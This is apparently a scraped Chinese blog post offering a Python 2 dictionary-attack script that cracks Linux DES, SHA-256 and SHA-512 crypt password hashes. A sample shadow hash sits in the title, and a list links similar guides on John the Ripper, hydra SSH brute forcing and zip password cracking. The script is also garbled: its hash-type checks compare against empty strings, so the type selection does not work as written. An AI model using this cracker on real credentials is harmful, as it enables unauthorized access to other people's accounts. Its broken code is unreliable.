爆破linux密码 $6$3uwqC9JI$d9iPRmTDAoXs/IbsplxS3iyeErHqw7fUycacXNHyZk1UCSwFEydl515/zXN7OEwHnyUaqYcNG
#!/usr/bin/env python
# -*- coding:UTF-8 -*- import crypt
import sys # 哈希密码的前两位就是盐的前两位,这里我们假设盐只有两位。
# 程序分两部分,一部分是打开字典,另一部分是哈希匹配密码 #standard DES, two salt
def desPass(cryptpass):
#get salt from the front place
saltf = cryptpass[0:2]
return saltf #for $6$
def sha512Pass(cryptpass):
saltf = "$6$"+cryptpass.split("$")[2]
return saltf #for $5$
def sha256Pass(cryptpass):
saltf = "$5$"+cryptpass.split("$")[2]
# saltf = "$5$rounds=5000$anexamplestringf"
return saltf def main():
banner = '''
python CrackPass.py 5
one params is type for you are cracking
0 ---- standard DES for 2 salt
5 ---- sha256 crypt $5$salt$secret
6 ---- sha512 crypt $6$salt$secret salt contains $5$salt
if $salt contain "$",will cause inaccuracy. Maybe you need set the salt by your hand,for example:# saltf = "$5$rounds=5000$anexamplestringf"
'''
print banner
method = sys.argv[1]
passfile = open('Password','r')
#从文件中一行一行读取
for line in passfile.readlines():
cryptpass = line.strip()
print "Cracking Password For: %s"%cryptpass #select type
if method == "":
salt = desPass(cryptpass)
elif method == "":
salt = sha512Pass(cryptpass)
elif method == "":
salt = sha256Pass(cryptpass)
print salt
dictfile = open('dictionary','r')
for word in dictfile.readlines():
word = word.strip('\n')
cryWord = crypt.crypt(word,salt) if cryptpass == cryWord:
print "Found passwd: %s"%word
print "ok"
return
print "Password not found!" if __name__ == '__main__':
main()
现在只写了$6$ $5$开头的和一种普通的DES两位盐加密的
爆破linux一般用¥6¥
注意一般密文由3部分组成,以”$”分隔,第一部分为ID,第二部分为盐值,第三部分为加密密文
真正的盐值包括ID部分,我上面判断salt是根据$分割,默认是密文中只有三个$
有时salt中本来就含有$,
这时就需要自己指定salt了,saltf = "$5$rounds=5000$anexamplestringf"
可以观察出来,观察不出来,就多尝试
我的 QQ921658495 希望与大家交流
爆破linux密码 $6$3uwqC9JI$d9iPRmTDAoXs/IbsplxS3iyeErHqw7fUycacXNHyZk1UCSwFEydl515/zXN7OEwHnyUaqYcNG的更多相关文章
- 爆破root密码hash John the Ripper和hydra爆破ssh密码
官方网站:http://www.openwall.com/john/ 下载:wget http://www.openwall.com/john/j/john-1.8.0.tar.gz 解压:tar - ...
- 使用单用户模式破解Linux密码
使用单用户模式破解Linux密码 特别说明:在实际工作应用中,安装Linux操作系统必须设置装载口令,否则很容易被破解. 1.使用reboot指令重启Linux操作系统 2.在进入操作系统数秒时,单击 ...
- 使用John the ripper工具来尝试破解Linux密码
这篇文章主要介绍了使用John the ripper工具来尝试破解Linux密码的方法,这款工具可能主要被用来破解系统用户的密码以获得文件操作权限,需要的朋友可以参考下 John有别于Hdra之类的工 ...
- 修复linux密码
To reset the root password of your server, you will need to boot into single user mode. Access the M ...
- Python 破解Linux密码
简介:因为Linux的密码都是加密过的(例如:$6$X.0bBN3w$NfM7YYHevVfCnZAVruItAEydaMJCF.muefZsxsgLK5DQoahW8Pqs1BSmoAFfi5J/b ...
- 忘记linux密码
http://blog.163.com/xygzlyq@126/blog/static/22585899200810471512530/
- 使用sha512算法加密linux密码
查看当前主机的加密算法: [root@realserver ~]# authconfig --test |grep hashing password hashing algorithm is sha5 ...
- 一条命令修改Linux密码
方法一.直接使用passwd命令 /bin/echo newpass|/usr/bin/passwd --stdin username *注:该方式只适用于红帽系操作系统,比如centos,redha ...
- python多线程爆破压缩包密码
import zipfile from threading import Thread #多线程库 import optparse #选定字典或者文件 def extractFile(zfile,pa ...
随机推荐
- JavaWeb项目结构和classpath:
以tomcat为例 项目结构 开发时的项目结构 蓝框 : 存放java文件 绿框 : 存放配置文件 红框 : 存放前台代码 这个项目结构大家都很熟悉,那么当项目被部署到tomcat中时,项目的结构会发 ...
- React事件用法
一.事件处理函数的使用 1.1 绑定事件处理函数 1.2 使用 <HelloWorld onClick={this.handleClick}/> 大括号中指定的是this对象即当前组件引用 ...
- Lua环境搭建之使用EditPlus搭建Lua开发环境
luatools正则表达式extension工具encoding 一.语法高亮 打开 EditPlus,Tools 工具-->Preferences首选项==>setting & ...
- Linux 查看kafka版本
find /opt -name \*kafka_\* | head -1 | grep -o '\kafka[^\n]*'
- QQ三方登录
申请了十天,最终通过了审核,能够上线了,事实上申请的第一天,站点的qq登录已经做好了,而且能够用測试帐号登录,但提交审核后,总是通只是,提示:您的站点审核未通过.原因是"未放置QQ登录but ...
- Java虚拟机理解-内存管理
运行时数据区域 jdk 1.8之前与之后的内存模型有差异,方法区有变化(https://cloud.tencent.com/developer/article/1470519). java的内存数据区 ...
- .Net Core解除文件上传大小限制
一共要修改两处地方: \Startup.cs public void ConfigureServices(IServiceCollection services) { services.AddMvc( ...
- Channel 9视频整理【6】
GiGi Huang https://channel9.msdn.com/Niners/GiGiHuang
- LeetCode20_Valid Parentheses有效的括号(栈相关问题)
题目: 给定一个只包括 '(',')','{','}','[',']' 的字符串,判断字符串是否有效. 有效字符串需满足: 左括号必须用相同类型的右括号闭合.左括号必须以正确的顺序闭合.注意空字符串可 ...
- ERROR StatusLogger Log4j2 could not find a logging implementation.
今天在学习structs2 2.5.5的版本的时候碰到2个问题.第一个网上下的包里面差log4j-core这个包. 虽然程序可以运行,但控制台会报这个错误. ERROR StatusLogger L ...